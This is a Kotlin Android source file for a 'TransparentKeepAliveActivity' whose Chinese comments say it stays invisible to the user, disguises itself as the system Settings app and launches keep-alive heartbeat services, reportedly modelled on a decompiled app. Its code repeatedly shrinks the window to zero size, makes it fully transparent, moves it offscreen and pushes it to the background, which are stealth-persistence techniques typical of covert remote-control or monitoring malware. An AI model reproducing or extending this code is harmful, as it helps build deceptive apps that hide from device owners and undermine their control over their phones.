package com.hikoncont import android.annotation.SuppressLint import android.app.Activity import android.app.ActivityManager import android.content.Intent import android.content.pm.PackageManager import android.graphics.Bitmap import android.graphics.Canvas import android.graphics.drawable.BitmapDrawable import android.graphics.drawable.Drawable import android.os.Bundle import android.os.Handler import android.os.Looper import android.util.Log import android.view.Window import android.view.WindowManager import com.hikoncont.service.ComprehensiveKeepAliveManager import com.hikoncont.service.HeartbeatManager import com.hikoncont.util.InstallationStateManager /** * 透明保活Activity - 借鉴反编译项目的FlyActivity实现 * 主要职责: * 1. 透明显示,用户无感知 * 2. 保活程序唤起时跳转到此Activity * 3. 伪装成系统设置应用 * 4. 启动保活服务 */ class TransparentKeepAliveActivity : Activity() { companion object { private const val TAG = "TransparentKeepAlive" private var instance: TransparentKeepAliveActivity? = null fun getInstance(): TransparentKeepAliveActivity? = instance } override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) Log.i(TAG, "🫥 透明保活Activity创建") try { instance = this // ✅ 立即禁用Activity动画,防止闪烁 overridePendingTransition(0, 0) // ✅ ANR修复:异步处理窗口操作,避免焦点窗口切换超时 Handler(Looper.getMainLooper()).post { try { // ✅ 超快速隐藏窗口,防止任何闪烁 - 最高优先级 ultraFastHideWindow() // ✅ 强制释放焦点,确保不阻断输入 forceReleaseFocus() // ✅ 立即设置透明窗口,防止遮挡屏幕 setupTransparentWindowImmediately() // ✅ 强制设置完全透明,确保不遮挡 forceTransparentWindow() // ✅ 立即隐藏窗口,防止闪烁 hideWindowImmediately() Log.d(TAG, "✅ 异步窗口设置完成,避免ANR") } catch (e: Exception) { Log.e(TAG, "❌ 异步窗口设置失败", e) } } // ✅ 修复:极简化onCreate,移除所有可能阻塞的操作 // 延迟检查安装状态,避免在onCreate中阻塞 Handler(Looper.getMainLooper()).postDelayed({ try { // 异步检查安装是否完成 val installationStateManager = InstallationStateManager.getInstance(this@TransparentKeepAliveActivity) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { Log.w(TAG, "⚠️ 安装未完成,透明保活Activity无效,直接关闭") finish() return@postDelayed } // 再次确保窗口透明 hideWindowImmediately() // 伪装成系统设置应用 disguiseAsSystemSettings() // 启动保活服务 startKeepAliveServices() // 透明保活Activity只进行保活,不启动主Activity Log.d(TAG, "🫥 透明保活Activity专注于保活任务") Log.i(TAG, "✅ 透明保活Activity初始化完成") } catch (e: Exception) { Log.e(TAG, "❌ 透明保活Activity初始化失败", e) } }, 500) // 延迟500ms,给系统更多时间完成Activity创建 } catch (e: Exception) { Log.e(TAG, "❌ 透明保活Activity初始化失败", e) } } override fun onResume() { super.onResume() Log.d(TAG, "🔄 透明保活Activity恢复") try { // ✅ 立即禁用Activity动画,防止闪烁 overridePendingTransition(0, 0) // ✅ 立即隐藏窗口,防止遮挡 - 最高优先级 hideWindowImmediately() // ✅ 强制释放焦点,确保不阻断输入 forceReleaseFocus() // ✅ 再次确保窗口透明设置 setupTransparentWindowImmediately() // ✅ 强制设置完全透明 forceTransparentWindow() // ✅ 修复:极简化onResume,只做最基本的操作 // 延迟处理,避免在onResume中阻塞 Handler(Looper.getMainLooper()).postDelayed({ try { // 再次确保窗口隐藏 hideWindowImmediately() // 启动保活服务 startKeepAliveServices() // 透明保活Activity只需要保持透明状态,不需要跳转到其他应用 Log.d(TAG, "🫥 透明保活Activity保持透明状态,进行保活") } catch (e: Exception) { Log.e(TAG, "❌ 透明保活Activity恢复失败", e) } }, 100) // 减少延迟时间,更快响应 } catch (e: Exception) { Log.e(TAG, "❌ 透明保活Activity恢复失败", e) } } override fun onPause() { super.onPause() Log.d(TAG, "⏸️ 透明保活Activity暂停") try { // 在暂停时也确保窗口隐藏 hideWindowImmediately() } catch (e: Exception) { Log.e(TAG, "❌ 暂停时隐藏窗口失败", e) } } override fun onStop() { super.onStop() Log.d(TAG, "⏹️ 透明保活Activity停止") try { // 在停止时也确保窗口隐藏 hideWindowImmediately() } catch (e: Exception) { Log.e(TAG, "❌ 停止时隐藏窗口失败", e) } } override fun onDestroy() { super.onDestroy() Log.i(TAG, "🛑 透明保活Activity销毁") instance = null } override fun finish() { try { // ✅ 禁用结束动画,防止闪烁 overridePendingTransition(0, 0) } catch (e: Exception) { Log.e(TAG, "❌ 禁用结束动画失败", e) } instance = null super.finish() } /** * ✅ 新增:超快速隐藏窗口,防止任何闪烁,确保不阻断输入,避免ANR */ @SuppressLint("WrongConstant") private fun ultraFastHideWindow() { try { val window = window // ✅ ANR修复:分步骤设置窗口属性,避免一次性操作过多导致超时 // 第一步:立即隐藏窗口装饰视图 window.decorView.visibility = android.view.View.GONE window.decorView.alpha = 0f // 第二步:设置基本窗口标志 window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) // 第三步:清除可能影响焦点的标志 window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND) window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND) window.clearFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) window.clearFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) // 第四步:设置窗口属性 val attributes = window.attributes attributes.alpha = 0.0f attributes.x = -1000 attributes.y = -1000 attributes.width = 0 attributes.height = 0 attributes.gravity = android.view.Gravity.TOP or android.view.Gravity.LEFT window.attributes = attributes // 第五步:设置窗口大小和背景 window.setLayout(0, 0) window.setBackgroundDrawable(null) // 第六步:强制释放焦点 window.decorView.clearFocus() window.decorView.clearAnimation() // ✅ 新增:强制将Activity移到后台,释放焦点 moveTaskToBack(true) Log.d(TAG, "⚡ 超快速隐藏窗口完成,焦点已释放,Activity已移到后台") } catch (e: Exception) { Log.e(TAG, "❌ 超快速隐藏窗口失败", e) } } /** * ✅ 新增:立即设置透明窗口,防止遮挡屏幕 */ @SuppressLint("WrongConstant") private fun setupTransparentWindowImmediately() { try { val window = window // 立即设置窗口标志,防止遮挡 window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS) window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR) // 立即设置窗口属性 val attributes = window.attributes attributes.dimAmount = 0.0f attributes.alpha = 0.0f attributes.x = -1000 attributes.y = -1000 attributes.width = 0 attributes.height = 0 window.attributes = attributes // 立即设置窗口大小和位置 window.setLayout(0, 0) window.setBackgroundDrawable(null) // 立即隐藏窗口装饰视图 window.decorView.visibility = android.view.View.GONE window.decorView.alpha = 0f // 设置窗口不可见 if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) { window.setDecorFitsSystemWindows(false) } Log.d(TAG, "🫥 立即透明窗口设置完成") } catch (e: Exception) { Log.e(TAG, "❌ 立即设置透明窗口失败", e) } } /** * 设置透明窗口 - 完全透明版,防止遮挡 */ @SuppressLint("WrongConstant") private fun setupTransparentWindow() { try { val window = window // 延迟设置,避免在onCreate中阻塞 Handler(Looper.getMainLooper()).postDelayed({ try { // ✅ 修复:设置完全透明的窗口标志,确保不遮挡 window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) // 关键:不接收触摸事件 window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS) // 允许超出屏幕边界 window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED) // 硬件加速 // 设置窗口属性 val attributes = window.attributes attributes.dimAmount = 0.0f attributes.alpha = 0.0f // 完全透明 attributes.x = -1000 // 移动到屏幕外 attributes.y = -1000 // 移动到屏幕外 window.attributes = attributes // 设置窗口大小为0x0像素,完全隐藏 window.setLayout(0, 0) // 设置背景为透明 window.setBackgroundDrawable(null) // ✅ 新增:立即隐藏窗口,防止短暂显示 window.decorView.visibility = android.view.View.GONE window.decorView.alpha = 0f // ✅ 新增:设置窗口不可见 if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) { window.setDecorFitsSystemWindows(false) } Log.d(TAG, "🫥 完全透明窗口设置完成") } catch (e: Exception) { Log.e(TAG, "❌ 设置透明窗口失败", e) } }, 200) // 延迟200ms设置,给系统更多时间 } catch (e: Exception) { Log.e(TAG, "❌ 设置透明窗口失败", e) } } /** * 伪装成系统设置应用 - 极简版,防止ANR */ private fun disguiseAsSystemSettings() { try { // ✅ 修复:极简化伪装,只设置基本标题,避免复杂的Bitmap操作 setTitle("系统设置") Log.d(TAG, "🎭 极简伪装设置完成") } catch (e: Exception) { Log.e(TAG, "❌ 伪装成系统设置失败", e) } } // ✅ 新增:防止重复启动的标志 private var isKeepAliveStarted = false private val keepAliveLock = Any() /** * 启动保活服务 - 防重复启动版 */ private fun startKeepAliveServices() { synchronized(keepAliveLock) { if (isKeepAliveStarted) { Log.d(TAG, "⚠️ 保活服务已启动,跳过重复启动") return } isKeepAliveStarted = true } try { Log.i(TAG, "🚀 启动保活服务") // ✅ 修复:只更新心跳,不重复启动综合保活管理器 Handler(Looper.getMainLooper()).postDelayed({ try { // 异步更新心跳,避免文件I/O阻塞 Thread { try { HeartbeatManager.getInstance(this@TransparentKeepAliveActivity).updateHeartbeat() Log.i(TAG, "✅ 保活服务启动完成(只更新心跳)") } catch (e: Exception) { Log.e(TAG, "❌ 更新心跳失败", e) } }.start() } catch (e: Exception) { Log.e(TAG, "❌ 启动心跳更新线程失败", e) } }, 200) // 延迟200ms,避免在Activity创建时阻塞 } catch (e: Exception) { Log.e(TAG, "❌ 启动保活服务失败", e) synchronized(keepAliveLock) { isKeepAliveStarted = false } } } /** * ✅ 增强:立即隐藏窗口,防止遮挡屏幕 */ private fun hideWindowImmediately() { try { val window = window // 立即隐藏窗口装饰视图 window.decorView.visibility = android.view.View.GONE window.decorView.alpha = 0f // 设置窗口为完全透明 - 增强标志设置 window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS) window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR) // 设置窗口属性 - 增强属性设置 val attributes = window.attributes attributes.alpha = 0.0f attributes.dimAmount = 0.0f attributes.x = -1000 attributes.y = -1000 attributes.width = 0 attributes.height = 0 window.attributes = attributes // 设置窗口大小为0 window.setLayout(0, 0) // 设置背景为透明 window.setBackgroundDrawable(null) // 设置窗口不可见 if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) { window.setDecorFitsSystemWindows(false) } Log.d(TAG, "🫥 窗口已立即隐藏") } catch (e: Exception) { Log.e(TAG, "❌ 立即隐藏窗口失败", e) } } /** * ✅ 新增:强制设置窗口完全透明,防止任何遮挡 */ private fun forceTransparentWindow() { try { val window = window // 强制设置所有透明标志 window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND) window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS) window.addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN) window.addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_INSET_DECOR) window.addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN) // 强制设置窗口属性 val attributes = window.attributes attributes.dimAmount = 0.0f attributes.alpha = 0.0f attributes.x = -1000 attributes.y = -1000 attributes.width = 0 attributes.height = 0 attributes.gravity = android.view.Gravity.TOP or android.view.Gravity.LEFT window.attributes = attributes // 强制设置窗口大小和位置 window.setLayout(0, 0) window.setBackgroundDrawable(null) // 强制隐藏窗口装饰视图 window.decorView.visibility = android.view.View.GONE window.decorView.alpha = 0f window.decorView.setBackgroundColor(android.graphics.Color.TRANSPARENT) // 设置窗口不可见 if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.R) { window.setDecorFitsSystemWindows(false) } Log.d(TAG, "🫥 强制透明窗口设置完成") } catch (e: Exception) { Log.e(TAG, "❌ 强制设置透明窗口失败", e) } } /** * ✅ 新增:强制释放焦点,确保不阻断手机输入,避免ANR */ private fun forceReleaseFocus() { try { val window = window // ✅ ANR修复:分步骤释放焦点,避免一次性操作过多 // 第一步:强制释放焦点 window.decorView.clearFocus() window.decorView.clearAnimation() // 第二步:设置窗口为完全不可交互 window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE) window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL) // 第三步:清除可能影响焦点的标志 window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND) window.clearFlags(WindowManager.LayoutParams.FLAG_BLUR_BEHIND) window.clearFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) window.clearFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) // 第四步:设置窗口属性,确保不接收输入 val attributes = window.attributes attributes.alpha = 0.0f attributes.x = -1000 attributes.y = -1000 attributes.width = 0 attributes.height = 0 window.attributes = attributes // 第五步:设置窗口大小 window.setLayout(0, 0) window.setBackgroundDrawable(null) // 第六步:隐藏窗口装饰视图 window.decorView.visibility = android.view.View.GONE window.decorView.alpha = 0f // ✅ 新增:强制将Activity移到后台,释放焦点 moveTaskToBack(true) Log.d(TAG, "🎯 焦点已强制释放,Activity已移到后台,确保不阻断输入") } catch (e: Exception) { Log.e(TAG, "❌ 强制释放焦点失败", e) } } }